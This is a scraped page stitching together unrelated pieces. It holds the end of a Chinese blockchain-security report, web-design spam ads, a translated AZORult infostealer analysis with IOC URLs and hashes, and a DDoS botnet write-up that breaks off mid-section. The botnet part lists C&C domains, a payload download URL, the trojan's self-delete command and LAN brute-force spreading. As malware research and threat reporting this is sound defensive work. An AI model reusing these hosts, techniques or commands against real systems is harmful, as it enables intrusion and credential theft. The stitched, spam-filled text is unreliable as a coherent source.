  自私採礦攻擊(Selfish Mining Attack)[11]是針對區塊鏈的一種典型攻擊。由於挖取像比特幣這樣的加密貨幣,對於一個礦工(Miner)來說,需要高計算能力來解決密碼難題(即工作量證明),因此採礦變得十分困難。鑒於此,一組礦工(Mining pool,採礦池)通常會相互組合起來,並在成功解決密碼難題之後,分享收到的獎勵。這樣有助於個體礦工在單獨採礦時產生較連續恆定的收入而不是很少的收益。Eyal和Sirer認為如果存在一群自私的礦工,採用自私的採礦戰略,並獲得成功,就可能會使誠實礦工的工作無效。這種自私採礦攻擊表現為:一個惡意的採礦池決定不發布它發現的塊,進而創建一個分叉,因此,網絡中就存在由誠實礦工維護的公共鏈和惡意採礦池的私人分叉惡意採礦池在此私人分叉下繼續進行挖掘,當私人分叉比公共鏈長的時候,惡意採礦池就發布該私人分叉,由於該分叉是當前網絡中最長的鏈,因此會被誠實的礦工認定為合法鏈,所以原公共鏈及其包含的誠實數據將被丟棄。研究結果表明,一般情況下惡意採礦池採用自私採礦策略將獲得更多的收益。

  中心化問題(算力過於集中問題)

  目前因為礦池的存在,違背了區塊鏈去中心化的原則,當礦池做大,算力提高后,礦池變得過於集中,當算力達到全網的51%后,從理倫上來說,如果能夠控制整個網絡達到或超過51%以上的算力,將可以壟斷開採權、記賬權、分配權,將影響區塊鏈的生態安全,這樣加密貨幣的信用體系將不復存在,加密貨幣體系也將徹底摧毀。

  案例

  1. 2014年5月份,Eligius礦池遭受扣塊攻擊,損失約300個比特幣,在當時價值約16萬美元

  3.6.4 普通用戶

  3.6.4.1 系統資源

  簡要

  在使用PoW共識機制的區塊鏈中,存在一個非常重要的角色,那就是“礦工”,他們的主要作用是:

  1. 解題:礦工需要通過計算來解決每過一段時間產生的“數學難題”,並通過“解題答案”來證明自己的工作結果,從而獲取報酬。

  2. 對賬:對區塊內的交易合法性以及其他礦工廣播的“解題答案”進行核對,確認交易沒有造假以及“解題答案”是正確的並蓋章。

  3. 記賬:核對交易的合法性以及“解題答案”后,將這段時間的交易打包進新區塊中。

  風險

  針對目前用戶的普通用戶計算資源被濫用,用於挖礦的安全風險,我們分析總結了以下一些風險點:

  挖礦傀儡

  並不是人人都願意當“礦工”。對於黑客而言,通過一些漏洞獲得一些主機的權限或者網頁端來挖礦是很容易的,黑客可以輕易地在被入侵主機上部署挖礦程序,消耗主機的系統資源與電力,以此來獲取利益,目前市面上被黑客應用最多的就是門羅幣(Monero),因為植入部署方便,導致現在很大一部分黑產團體從原來的篡改網頁,到現在直接植入挖礦腳本在網頁里,如下我們通過網絡空間測繪系統檢索目前互聯網有大量網站被掛入惡意的挖礦鏈接:

  案例

  1. 2017年下旬,有人發現很多網站首頁中插入了coinhive平台的JS挖礦代碼,使得大量訪問網站的人系統變慢,疑似為黑客篡改首頁權限導致。

  2. 2018年初,上百款《荒野行動》遊戲輔助被植入挖礦木馬,利用遊戲主機的高性能來挖礦獲取利益。

  3. 2017年至現在,很多攻擊者利用“永恆之藍”漏洞獲取大量主機權限,然後在受害者的系統內長期潛伏挖礦。

  3.6.4.2 錢包

  簡要

  區塊鏈的錢包指的是存儲區塊鏈資產的地址和私鑰的文件。

  目前主流的錢包分為冷錢包和熱錢包。冷錢包是沒有聯網環境的,如市面上的硬件錢包就是冷錢包,由於其不聯網的特性,使得它的安全性要在熱錢包之上,但不方便交易。熱錢包是在線的,例如電腦客戶端錢包、手機APP錢包、網頁錢包等,都屬於熱錢包,它的交易是很方便的,但是安全性相對於冷錢包來說要低很多。

  風險

  針對錢包的安全風險,我們分析總結了以下攻擊方式:

  錢包客戶端RPC API風險

  區塊鏈項目的客戶端中目前通常都會有RPC API接口,給用戶提供一個可程序化操作的接口,其中涉及到用戶的一些敏感操作,例如:轉賬。

  所以API的訪問控制和鑒權至關重要,在沒有鑒權和訪問控制的情況下會造成如下攻擊場景,以eth客戶端geth為例。

  場景:

  1. 用戶開啟RPC API,此時API只能做常規查詢操作,並不能轉賬

  2. 用戶執行解鎖錢包操作,此時API能執行轉賬操作並且無任何鑒權

  3. 攻擊者趁機在此API上執行轉賬操作

  4. 代幣竊取完畢

  釣魚攻擊

  在目前的互聯網環境中,欺詐隨處可見,這種攻擊手段在區塊鏈應用上也同樣受用。攻擊者可以偽造某個錢包客戶端,無論從界面和操作上都可以做到和真錢包沒有區別,可能他們只是在你轉賬的時候竊取你的私鑰信息或者在轉賬地址上動手腳,就可以輕易地偷偷竊取你的資產。

      所以,客戶端一定要在官網下載,並驗證官網發布的客戶端文件hash是否與下載的客戶端文件hash一致。

  私鑰竊取

  因為私鑰信息至關重要,所以很多人會選擇將錢包私鑰文件多點備份,而備份得多或者備份點不安全都有可能導致錢包私鑰泄露。經調研,目前針對比特幣的wallet.dat文件就出現在各個互聯網中,例如:OSS服務、網盤、GitHub、NAS服務器、Web服務等等互聯網可接入的地方,都能看到密鑰的存儲,這是極其危險的,甚至已經有攻擊者開始針對密鑰文件進行專門掃描,以及開發相關的木馬病毒進竊取。

  錢包軟硬件漏洞攻擊

  錢包軟件本身可能因為其本身或是開放的一些服務存在漏洞,影響用戶的資金安全。

  硬件廠商提供的錢包只是將錢包與線上網絡隔離,並不能保證其本身的安全性就足夠,由於其是封閉的,其代碼質量對於大眾是未知,且不良廠商在其中穿插後門也不是並無可能。

  在線錢包賬號竊取

  由於在線錢包其方便、快捷等特性,使得很多人直接選擇使用在線錢包。所以個人的資產安全與服務商的安全是一個強綁定的關係,個人的資產過分依賴於外部保障其實和中心化的應

  用比較類似,這與區塊鏈根本理念相衝突,同時也給個人資產帶來的很大風險。

  案例

  1 2013年11月,比特幣在線錢包服務商Inputs.io遭受黑客攻擊,黑客透過电子郵件賬號進行入侵,進而劫持代管賬號,從中盜取了4100個比特幣(在當時折算為130萬美元)。

  2 萊特幣假錢包客戶端盜幣事件,攻擊者通過修改開源錢包源代碼,將显示的錢包地址固化為攻擊者的錢包地址再重新編譯,用戶使用此地址接收轉賬的時候很自然的就轉賬到了攻擊者的賬戶中。

  3 Ledger 硬件錢包漏洞,該漏洞讓黑客可以在設備發貨之前和發貨之後竊取密碼。

  4 2015年2月23日,比特幣錢包運營商比特幣存錢罐被盜,比特幣存錢罐官方表示:黑客於2014年6月30日入侵了平台的Linode賬號,並修改了Linode賬號密碼和服務器的root密碼,從而入侵了服務器並且獲得了服務器的控制和管理權限,導致比特幣被盜。

  5 在社區上,經常有用戶表示自己的比特幣餘額被盜,而原因大多與錢包私鑰泄露有關。

  6 2018年3月25日,幣安發布公告表示部分社區ERC20錢包用戶收到一封冒充Binance名義發送的“Binance開啟ERC20私鑰綁定”詐騙郵件,郵件主要是為了盜取用戶的ERC20錢包私鑰。

  7 2018年1月份,名錢包開發商 Electrum 近期針對其比特幣錢包的 JSONRPC 接口漏洞發布了安全補丁,這個漏洞能使攻擊者通過JSONPRNC接口獲取私人數據和加密貨幣。

  3.6.4.3 交易所賬戶

  簡要

  要在交易所中進行交易需要註冊相應的賬戶,有了交易所賬戶就可以很方便的在交易所內進行買入賣出交易,相當於交易所賬戶掌握了你的数字貨幣的買賣權。

  風險

  在交易所中的賬戶安全需要在各個方面都有保障,只要有一個短板就會面臨危險。

  針對交易所賬戶的安全風險,從用戶角度來說,我們分析總結了以下攻擊方式:

  釣魚攻擊

  通過仿冒交易所網站的域名和頁面來達到從視覺上欺騙受害者的手段,一般用來竊取用戶的交易所登陸口令,攻擊者拿到相關口令后開始進行轉賬操作。

  中間人劫持攻擊

  攻擊者可以在流量中轉處截獲流量,例如:路由器、網關等流量出口。不過好在目前多數的交易所一般都是採用https,在此方面問題不算大,但是不排除在某些API接口的子域名未使用https。

  木馬劫持攻擊

  木馬通過按鍵記錄,或是hook瀏覽器的方式來獲取交易所賬號的登陸口令或是直接劫持用戶的資產,在歷史安全事件就有攻擊團體再各種相關虛擬貨幣網站,論壇社區發布帶有木馬的APP程序,來盜取劫持用戶。

  案例

  1. 2018年3月8日,幣安網公布部分幣安釣魚網站案例

  2. 2017年8月份,一款名為Trickbot的木馬就針對包括Coinbase在內的幾家数字貨幣交易所增加了web注入攻擊的功能,在受害者購買数字貨幣的時候和會將接受錢包重定向到攻擊者的錢包,讓用戶誤以為轉賬成功,其實最終轉賬操作都進了攻擊者的錢包。

  3.6.4.4 交易所API

  簡要

  各大交易所為了滿足用戶需要調用平台數據的需求,會開放一些API提供給用戶使用。交易所API大致分為兩類:

  1. 公共 API 可以參考交易所的訂單狀況、公開的交易記錄、交易版信息。

  2. 私有 API 可以確認交易所的新訂單及其取消、個人餘額等信息,需要相應的key才可以使用。

  風險

  針對交易所API的安全風險,我們分析總結了以下攻擊方式:

  關鍵Key&Token竊取

  私有API一般都涉及到用戶的一些敏感操作,例如:買入、賣出等操作。所以,API key一旦泄露,很可能會使自己的賬戶蒙受經濟損失。而大部分人,甚至包括程序員都不一定有這種安全意識,存在key泄露的隱患,例如一些使用者,開發者可能有意或者無意就把相關的代碼配置信息同步在GitHub、公開網盤等互聯網公共區域,互聯網任意用戶都能輕易的通過一些檢索把這些敏感信息找出來。

  案例

  2018年3月8日,幣安網大量用戶API key泄露,通過泄露的key直接操作用戶買賣,導致一萬餘枚的比特幣被用於購買其他幣種,造成幣市動蕩。而某些交易所的API key到目前截稿為止在GitHub還能搜到。

  四 區塊鏈安全解決方案

  基於上述區塊鏈產業歷史的攻擊案例,結合區塊鏈技術安全特點和安全威脅,白帽匯安全研究院建議從多個維度去進行綜合防護,同時對於產業生態的安全需要區塊鏈產業與區塊鏈安全企業來共同提高區塊鏈產業的安全性。

  區塊鏈產業安全主要圍繞交易平台安全、礦池與礦機安全、用戶安全、區塊鏈底層安全、區塊鏈業務安全。從基礎安全建設、安全測試、安全審計、安全監測、應急響應,同時建立並完善區塊鏈安全的規範、提高區塊鏈產業人員安全意識多個方面來進行。最終提高區塊鏈產業生態安全性。

  4.1 區塊鏈底層安全

  區塊鏈作為底層技術基礎,支撐着整個系統。如底層出現安全問題,必將導致依託於此的上層均受到影響。其區塊鏈底層的安全研究與防範變得極為重要。

  在系統設計之初就應加入安全性設計,整個系統的安全防範、安全的處理在最初就應考慮。

  區塊鏈底層安全主要由區塊鏈項目的建立者與區塊鏈安全企業進行配合,來對其區塊鏈整個系統進行安全方面的提高。

  4.1.1 數據層

  數據是區塊鏈技術的最基本內容,為了防止上述針對數據的的攻擊,主要從數據存儲與加密算法兩個方面來進行安全改進。

  信息存儲方面,建議對用戶輸入的數據(如備註信息)等內容進行過濾檢查機制,防止被惡意利用或濫用。另外一方面,加密算法和簽名機制出於安全上的考慮,不要輕易自寫加密算法,建議使用成熟且可靠的加密算法。防止遭遇到算法漏洞的攻擊和安全風險。

  4.1.2 網絡層

  區塊鏈與互聯網是密不可分的,針對網絡層的安全防禦主要從P2P網絡安全、網絡驗證機制兩個方面來提升安全性。

  可通過如下幾點來進行防範:

  ● 在網絡的傳輸過程中,使用可靠的加密算法進行傳輸,防止惡意攻擊者對節點網絡進行流量竊取或劫持。如開啟Jsonrpc的節點強制使用https傳輸,而不是HTTP協議進行傳輸。

  ● 加強網絡數據中傳輸的有效性、合理性、安全性進行驗證,防止出現整型溢出等情況導致出現的數據錯誤。

  ● 節點網絡安全性加強。重要操作和信息客戶端節點做必要的驗證。

  4.2 區塊鏈業務安全

  區塊鏈2.0以後,出現智能合約等新的理念,使得區塊鏈的拓展性、便捷性極大增強。隨之而來的安全漏洞也會越來越多。如上述提到的經典The Dao攻擊事件。目前對於業務層面的安全主要通過安全審計來進行解決。

  對於業務層的安全,主要依靠區塊鏈安全企業開發相應安全產品或進行安全技術支撐,與區塊鏈發起者建立合作等,從而避免或減少業務層上的攻擊事件發生。

  4.2.1 安全審計

  針對歷史案例以及可能存在的業務層安全問題,在正式發布之前進行安全審計工作尤為必要。

  開發業務層代碼安全問題,白帽匯安全研究院有如下幾點安全建議和注意事項提示:

  ● 盡量避免外部調用

  ● 仔細權衡再發生重要操作時的代碼邏輯,避免邏輯陷阱

  ● 處理外部調用錯誤

  ● 不要假設你知道外部調用的控制流程

  ● 標記不受信任的業務內容

  ● 正確的使用斷言

  ● 小心整數除法的四舍五入

  ● 不要假設業務創建時餘額為零

  ● 記住鏈上的數據是公開的

  ● 在雙方或多方參與的業務應用中,參與者可能會“脫機離線”后不再返回

  ● 明確標明函數和狀態變量的可見性

  ● 將程序鎖定到特定的編譯器版本

  ● 小心分母為零

  ● 區分函數和事件

  ● 避免死循環

  ● 升級有問題的業務層代碼

  4.3 交易平台安全

  交易平台主要提供在線交易,形式主要為網站和App的形式。針對交易平台的安全性主要更加偏傳統的安全防護。對於交易平台的安全性提高則主要由交易平台和安全企業或交易平台自建的網絡安全部門。

  白帽匯安全研究院針對區塊鏈交易平台給出如下安全解決方案與建議:

  ● 再建設之初就設計網絡安全架構。並隨着發展不斷調整

  ● 網絡安全隔離策略,僅對需要對外開放服務的端口進行開放

  ● 選擇使用具備高防護能力的IDC廠商,提高攻擊者發起DDOS攻擊的成本

  ● 線上業務系統需經過嚴格的安全測試,安全審計

  ● 對交易平台的所有資產進行實時的監控,對漏洞進行安全管理

  ● 建立安全預警機制,加強先於黑客發現安全威脅的能力

  ● 安全應急響應機制,出現安全問題第一時間進行處理

  ● 定期的安全測試、安全檢查

  ● 對交易平台企業內部的安全管理

  ● 數據加密存儲,防止數據被竊取后被濫用或使用戶錢包或隱私信息被泄露而遭受損失情況

  ● 建立安全制度管理

  ● 提高交易平台企業內部人員的安全意識。建議定期對員工進行安全培訓

  ● 與安全企業建立合作關係或建立SRC(安全應急響應中心)

  ● 給交易平台用戶進行安全引導

  4.4 礦池與礦機安全

  4.4.1 礦池平台安全

  目前礦池平台聚集了大量的礦工,礦池平台出現安全問題,影響也將巨大。目前礦池平台也主要提供服務為主。白帽匯安全研究院針對礦池平台給出如下安全解決方案與建議:

  ● 在建設之初就設計網絡安全架構,並隨着發展不斷調整

  ● 網絡安全隔離策略,僅對需要對外開放服務的端口進行開放

  ● 選擇使用具備高防護能力的IDC廠商,提高攻擊者發起DDOS攻擊的成本

  ● 建立安全預警機制,加強先於黑客發現安全威脅的能力

  ● 安全應急響應機制,出現安全問題第一時間進行處理

  ● 定期的安全測試、安全檢查

  ● 對礦池平台企業內部的安全管理

  ● 數據加密存儲,防止數據被竊取后被濫用或使用戶錢包或隱私信息被泄露而遭受損失情況

  ● 建立安全制度管理

  ● 提高交易平台企業內部人員的安全意識。建議定期對員工進行安全培訓

  ● 與安全企業建立合作關係或建立SRC(安全應急響應中心)

  4.4.2 礦機安全

  礦機系統的安全主要對象為礦機生產商和礦工。礦機生產商應與安全企業進行合作,提高礦機系統的安全性。礦工則應該保護自己的礦機不被入侵。

  白帽匯安全研究院建議:

  ● 礦機生產商應對礦機系統經過模糊測試和代碼審計,確保系統安全性

  ● 礦機生產商生產的系統要求礦工必須修改默認賬戶,提高安全性

  ● 礦工應選擇沒有漏洞的礦機系統,避免自己使用的礦機被入侵,以免被攻擊者惡意利用

  ● 礦工應設置安全複雜的密碼

  4.5 用戶安全

  白帽匯安全研究院對用戶(交易平台用戶、加密貨幣用戶)的建議如下:

  ● 礦機生產商應對礦機系統經過模糊測試和代碼審計,確保系統安全性

  ● 礦機生產商生產的系統要求礦工必須修改默認賬戶,提高安全性

  ● 礦工應選擇沒有漏洞的礦機系統,避免自己使用的礦機被入侵,以免被攻擊者惡意利用

  ● 礦工應設置安全複雜的密碼

  4.6 安全企業責任

  網絡安全企業可以貫穿區塊鏈生態產業,從區塊鏈底層到業務層,再到交易平台,以及礦池、礦工。目前,安全還處再初級發展階段,安全企業則應該主動發現更多的安全問題,幫

  助區塊鏈廠商、交易平台、礦池平台、礦工系統提高安全。為區塊鏈產業生態安全做出巨大貢獻。

  除此之外,還應該建立區塊鏈威脅情報,及時發現安全問題,及時做出響應。

  五 總結與展望

  區塊鏈技術的底層機制、算法是區塊鏈最核心的地方,是保障區塊鏈穩定運行的根本,也是區塊鏈開發者最關心的地方。目前,開發者將大量精力投入到了比較底層的算法安全上,使得區塊鏈技術看上去難以撼動。

  然而,通過近段時間的安全事件不難發現,安全問題越來越趨向於用戶、平台層面,區塊鏈的安全問題已經延伸到了傳統的網絡安全、基礎設施、移動信息安全等問題。所以在談及區塊鏈安全的時候,不應該僅僅局限於區塊鏈本身,它的使用者以及衍生的東西都需要我們的重點關注。

  目前基於國家層面的管控措施也是未來值得研究的一個方向,雖然世界各國對加密貨幣,以及基於區塊鏈相關的ICO的態度不盡一致,但是目前仍有大量的資金投入在虛擬貨幣市場,一個安全問題將可能導致數百億的資金損失,甚至影響國家安定,出於避免巨額資金損失導致社會不穩定等因素的考慮,未來基於國家層面對於資金的保護、風險監控和預警,都是值得討論的話題,雖然區塊鏈本身是去中心化的技術,但是可以預見到,隨着區塊鏈技術的落地,其必將被應用到目前一些傳統基礎設施的技術中去,所以,對於區塊鏈的安全研究是更加值得重視與跟蹤的。

  總體來說,區塊鏈技術和其安全性問題仍會持續很長一段時間,主要原因:其一,全新的解決方案會進一步加快區塊鏈的安全重建,創新技術和服務得到認可,進一步增強產業活力,提升技術價值;其二:隨着生產生活逐漸向数字化,網聯化和智能化轉型,許多全新的變革性技術(如區塊鏈)所打造的安全生態體系和技術將成為大勢所趨;其三,由新技術衍生的產品安全技術服務範疇更加寬泛,將會催生更加繁榮的安全服務市場。

  最終,區塊鏈新興技術和產業的有機融合,必將在未來產生不可估量的價值。

  六 關於我們

  白帽匯安全研究院隸屬於北京華順信安科技有限公司。研究院擁有一支從事網絡安全研究的資深技術團隊,致力於網絡信息安全領域的深入探究,研究方向為網絡空間測繪、安全大數據、威脅情報、態勢感知、區塊鏈安全等前沿安全領域。

  七 參考來源

  [1] Block chain https://en.wikipedia.org/wiki/Blockchain

  [2] Luu, L., Chu, D.H., Olickel, H., Saxena, P., Hobor, A.: Making smart contracts smarter. In: ACM CCS (2016).

  [3] Quantum attacks on Bitcoin, and how to protect against them

  [4] P2P https://en.wikipedia.org/wiki/P2P

  [5] Eclipse Attacks on Bitcoin’s Peer-to-Peer Network

  [6] Hijacking Bitcoin:Routing Attacks on Cryptocurrencies

  [7] BGP hijacking https://en.wikipedia.org/wiki/BGP_hijacking

  [8] Hijack-btc test code https://github.com/nsg-ethz/hijack-btc

  [9] 雙重支付 https://baike.baidu.com/item/雙重支付

  [10] 《The Bitcoin Lightning Network: Scalable Off-Chain Instant Payments》

  [11] 房衛東等.信息安全學術報《區塊鏈的網絡安全威脅與對策》

  [12] C. Lin and T. C. Liao, “A survey of blockchain security issues and challenges,” Int. J. Netw. Secur., vol. 19, no. 5, pp. 653–659, 2017.

  [13] Atzei, N., Bartoletti, M., Cimoli, T.: A survey of attacks on Ethereum smart contracts.Cryptology ePrint Archive (2016).

  [14] Hacking Blockchain https://www.rsaconference.com/writable/presentations/file_upload/fon4-t11_hacking_blockchain.pdf

  [15] 0day漏洞 https://baike.baidu.com/item/0DAY%E6%BC%8F%E6%B4%9E

  [16] Ethereum Smart Contract Security Best Practices

  [17] A PoC of a Blockchain-based C&C https://github.com/i3visio/blockchain_c2c

  [18] Smart Contract Best Practices,

  本文來自“白帽匯安全研究院”,原文鏈接:https://bcsec.org/ 

,
網站內容來源http://safe.it168.com/

【精選推薦文章】

如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!!

想要讓你的商品在網路上成為最夯、最多人討論的話題?

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

不管是台北網頁設計公司台中網頁設計公司,全省皆有專員為您服務

想知道最厲害的台北網頁設計公司推薦台中網頁設計公司推薦專業設計師"嚨底家"!!

針對信息竊取惡意軟件AZORult的相關分析

網站內容來源http://server.it168.com/

針對信息竊取惡意軟件AZORult的相關分析

2018-05-29 14:25    來源:安全客  作者: Gal Bitensky 編輯:
0購買

  AZORult是一種信息竊取的惡意軟件,隨着時間的推移已經發展成為一種多層功能的軟件,我們知道達爾文的自然選擇進化理論已有150多年的歷史,但進化也可能由於人工選擇的結果(也稱為選擇性育種)。在我們的信息安全領域,同樣的生物學原理適用於惡意軟件的進化。攻擊者經常檢查他們攻擊性工具的具體特徵與其生存能力的相關性,並通過“基因工程”惡意軟件來改善其功能。在接下來的文章中,我們將介紹一個信息竊取惡意軟件的特性。每一層隱藏的功能的都是其“飼養者”精心挑選的,以提高其在野外生存的可能性。

  分析攻擊

  上周,我們阻止了一個客戶網站的攻擊。這是一個名為“Quotation Request – EP”的經典惡意郵件。它是從一家非洲能源公司的电子郵件帳戶發出的,它含有惡意附件。它是一個包含兩個文件的RAR存檔 – 一個文本文件和一個帶有DDE對象的Microsoft Word文檔。一旦打開,它會從受感染的網站下載一個MSI文件:

  該文件是使用名為msi2exe工具從常規可執行文件創建的安裝程序,它將“普通”惡意Windows可執行文件作為安裝程序進行包裝。這隻是眾多隱藏這段惡意代碼手段的第一層。為了獲取和分析可執行文件,我將使用7-Zip提取它,將MSI作為歸檔文件打開:

  在我們分析發現,罪魁禍首是名為Binary._D7D112F049BA1A655B5D9A1D0702DEE5的資源,這是一個包含在MSI中的正常Windows可執行文件。在使用PEStudio仔細查看文件時,我們發現情況並非如此:

  事實證明,這是一個編譯的AutoIt腳本 – 另一層包裝實際的payload。用Exe2Aut可以將其反編譯可執行文件。但是,反編譯的腳本仍然是混淆的:

  結果發現,混淆並不是太複雜,主要依賴於單個字符串混淆函數。我們寫了一個用於反混淆的Python腳本,可以點擊以下鏈接獲取:https://github.com/MinervaLabsResearch/BlogPosts/blob/master/ObfuscatedAutoItDecrypter/AutoIt_dec.py現在可以查看腳本並重命名變量:

  看看這個混淆的腳本,現在很清楚看到,在AutoIt中運用了一個經典process hollowing技術:

  惡意軟件創建原始進程的第二個暫停實例:

  它分配可寫,可執行的內存:

  該腳本將它希望執行的payload寫入遠程進程:

  在攻擊的下一階段位於遠程進程的內存之後,惡意軟件將主線程的狀態設置為運行注入的代碼並恢復進程的執行:

  注入的payload本身使用與字符串相同的例程進行混淆,因此在執行我們的反混淆腳本之後,可以直接觀察它:

  第一對字節4D和5A是ASCII字符串MZ – Windows可執行文件開頭的魔術字符串。這是一個強有力的指示,表明注入的緩衝區是另一個payload(!),並且使用另一個Python腳本轉儲它,事實證明確實如此。儘管頭部分損壞,但仍有可能使用PEstudio仔細查看二進制文件。令人驚訝的是,事實證明,攻擊者並不認為到目前為止使用的所有不同技術都已足夠,所以又用UPX壓縮了文件,使其更加隱藏:

  由於PE已損壞,因此無法自行執行,但無需這樣做。即使在UPX壓縮形式下,我們也發現了這樣一個事實的證據,即這是隱藏payload的最後一層,並沒有修復它的結構。使用十六進制編輯器觀察文件显示了多個字符串,表明其目標是竊取存儲在瀏覽器中的密碼:

  快速Google搜索驗證了這是用於竊取存儲在Google Chrome中的憑據的常見SQL查詢的一部分:

  嗅嗅惡意軟件的網絡活動證明了惡意軟件的功能,因為它首先向C2服務器發出指令,然後接收到竊取密碼的指令並將其發送回去

  在更深入的探索之後,研究團隊追蹤了一位創造幾乎相同paylaod的作者。這使我們能夠將注入的payload作為非損壞的二進制文件,驗證我們的分析結論。例如,現在我們能夠觀察到相同的SQL查詢,以提取存儲在Google Chrome中的密碼以及其他類似的技術:

  正如我們的友好惡意軟件研究社區指出的那樣,這個payload最終被證明是AZORult——一個眾所周知的竊取信息的惡意軟件,它至少從2016年開始在不同的論壇上出售。

  實踐中的人工選擇

  這個活動中包裝的AZORult惡意軟件採用了六種技術來逃避檢測,展示了它的創建者如何通過反覆嘗試和錯誤的方式選擇“繁殖”它們:

  使用RAR歸檔

  該文件在發送時作為壓縮文件存檔進行打包,試圖克服對“危險”文件類型附件的靜態掃描和限制。

  多個圖層

  使用多個圖層隱藏最終的信息竊取功能可能會欺騙一些安全產品,使其看起來不夠“deep enough”,而其他安全產品則無法理解每個圖層的上下文。

  使用MSI文件來釋放payload

  令人驚訝的是,許多機器學習防病毒解決方案忽略了這種文件類型。但是,有些供應商在後期檢測到該文件,因為二進制payload被保存到臨時文件夾中,但在其他情況下,它可能不那麼簡單並且可能會被忽略。

  AutoIt

  使用非常規腳本語言進行模糊處理和編譯,會生成一個二進制文件,與傳統的C C ++可執行文件明顯不同。在文件中尋找模式的產品本身會發現更難以檢測到惡意軟件。

  注入代碼

  這種惡意軟件會在內存中解密其有效內容,並且僅在使用了幾層迷惑技巧之後。

  DDE

  攻擊者不再依賴舊的VBA宏,而是利用了DDE的“feature” ——允許他們將有效載荷嵌入不太可疑的docx格式,因為宏只能以doc或docm格式使用。

  我們能夠追蹤之前的嘗試,從相同的參與者展示他們經過的人工選擇過程,提煉他們最新的最終倖存者。例如,早期的變體選擇了SCR擴展而不是MSI。在另一種情況下,交付機制是不同的,並且依賴於一個鏈接來直接從受損的網站下載受感染的docx文件。

  IOC

  URLs

  hxxp://ipool[.]by/bitrix/css/8/DOC71574662-QUOTATION[.]doc

  hxxp://ipool[.]by/bitrix/css/8/aksu[.]msi

  hxxp://www[.]sckm[.]Krakow[.]pl/aksu[.]msi

  hxxp://aksuperstore[.]com/fh8nzhme/gate[.]php

  Files (SHA-256)Analyzed DDE docx:

  ac342e80cbdff7680b5b7790cc799e2f05be60e241c23b95262383fd694f5a7a

  Analyzed MSI Installer:

  e7a842f67813a47bece678a1a5848b4722f737498303fafc7786de9a81d53d06

  Unzipped executable:

  717db128de25eec80523b36bfaf506f5421b0072795f518177a5e84d1dde2ef7

  Decompiled obfuscated AutoIt:

  31f807ddfc479e40d4d646ff859d05ab29848d21dee021fa7b8523d2d9de5edd

  Deobfuscated AutoIt:

  b074be8b1078c66106844b6363ff19226a6f94ce0d1d4dd55077cc30dd7819c5

  Similar DDE document downloaded directly from a compromised website:

  dc3fac021fae581bf086db6b49f698f0adc80ebe7ca7a28e80c785673065a127

  The builder (Trojanized):

  329030c400932d06642f9dbc5be71c59588f02d27d9f3823afa75df93407027b

  Similar MSI installers:

  efa6af034648f8e08098ea56445ccab1af67376ca45723735602f9bdd59e5b5d

  9d7a10fa3e5fd2250e717d359fcff881d9591e0fe17795bab7aac747e8514247

  dc3fac021fae581bf086db6b49f698f0adc80ebe7ca7a28e80c785673065a127 

網站內容來源http://safe.it168.com/

【精選推薦文章】

自行創業 缺乏曝光? 下一步"網站設計"幫您第一時間規劃公司的門面形象

網頁設計一頭霧水??該從何著手呢? 找到專業技術的網頁設計公司,幫您輕鬆架站!

評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

一起涉及多個DDoS殭屍網絡樣本攻擊事件追蹤

網站內容來源http://server.it168.com/

一起涉及多個DDoS殭屍網絡樣本攻擊事件追蹤

2018-05-29 14:45    來源:FreeBuf.COM  作者: 任子行 編輯:
0購買

  一.背景

  近期蜜網系統監測到一起涉及利用多個殭屍木馬傳播進行DDoS攻擊的安全事件。木馬樣本涉及Windows與Linux兩個平台,通過對樣本的分析,發現這幾個樣本編寫風格都不一樣,但是硬編碼在程序中的C&C均指向同一個IP地址。推測這一系列木馬的傳播者通過購買不同的DDoS木馬進行傳播,從而構建自己的殭屍網絡進行DDoS攻擊牟利。其中有兩個樣本所屬家族為XorDDoS和ChinaZ。最後通過一系列的分析,將該威脅定性為小黑客組建殭屍網絡進行DDoS攻擊事件,同時追蹤到了惡意代碼傳播者的個人信息,包括姓名、QQ號碼、手機號、郵箱、微信等。

  二.相關樣本分析

  2.1樣本一分析:

  2.1.1樣本基本信息

  

  2.1.2樣本行為

  該樣本首先會執行安裝邏輯,包括拷貝自身到Windows目錄,然後將自身註冊為服務,最後自刪除自己,安裝完成。接着註冊為服務的木馬會開始進入功能邏輯,通過爆破局域網來感染傳播,與C&C建立通訊后,等待C&C下髮指令。

  

  2.1.3樣本詳細分析

  (1)整體邏輯

  

  (2)拷貝到Windows目錄

  生成6個字符的隨機進程名拷貝到Windows目錄

  

  (3)創建服務

  服務名:Abcdef Hijklmno Qrstuvwx Abcd

  服務描述:Abcdefgh Jklmnopqr Tuvwxya Cdefghij Lmn

  

  

  自啟動

  

  (4)自刪除

  構建“/c del C:\Users\xxx\Desktop\gy.exe > nul”參數,使用ShellExecuteExA創建刪除自身的進程。

  

  

  (5)從資源釋放hra33.dll並加載

  從資源釋放文件在文件頭加上PE文件頭兩個字節“MZ”。

  

  

  從釋放的文件更新當前木馬服務中的資源

  

(6)爆破感染局域網

  內置字典

  

  爆破成功後會拷貝自身到admin$\\、C:、D:、E:以及F:等路徑下,並創建計劃任務,2分鐘后執行。

  

  (7)遠控功能部分

  與C&C建立通訊

  

  解密出C&C地址為web.liancanmou.xyz:6006

  

  發送上線信息

  

  

  遠程下載執行

  

  更新

  

  使用iexplorer打開指定網頁

  

  卸載

  

  

  DDoS攻擊模塊

  

  

  2.1.4 關聯分析

  

  該IP對應的位置在新鄉電信機房,訪問http://123.160.10.16:3097/gy.exe下載樣本。

  通過VT Graph關聯分析該樣本早在2018-05-08已經被發現了,與本次捕獲到的樣本分析結果是一致的。

  

  2.2樣本二分析:

  2.2.1樣本基本信息

  

  2.2.2樣本行為

  該樣本代碼編寫十分簡單,獲取本地信息回傳CNC上線,等待CNC的DDoS指令。

  

  2.2.3樣本詳細分析

  (1)整體邏輯

  

  

  (2)與C2建立通訊

  創建連接套接字

  C&C地址為 jch.liancanmou.xyz:52527

  

  木馬通訊協議

  

  (3)DDoS功能

  

  並沒有用到反射放大攻擊,只是一般的flood攻擊。

  

  

  2.2.4關聯分析

  通過VT分析發現該樣本與a.lq4444.com這個域名相關,而該域名曾用於Linux/Elknot這個家族。通過VT显示,a.lq4444.com這個域名與9個樣本相關。

  

  2.3樣本三分析

  

  樣本三與樣本二代碼是一樣的,區別是樣本三被編譯為x86架構,樣本二被編譯為x64架構。

  2.4樣本四分析:

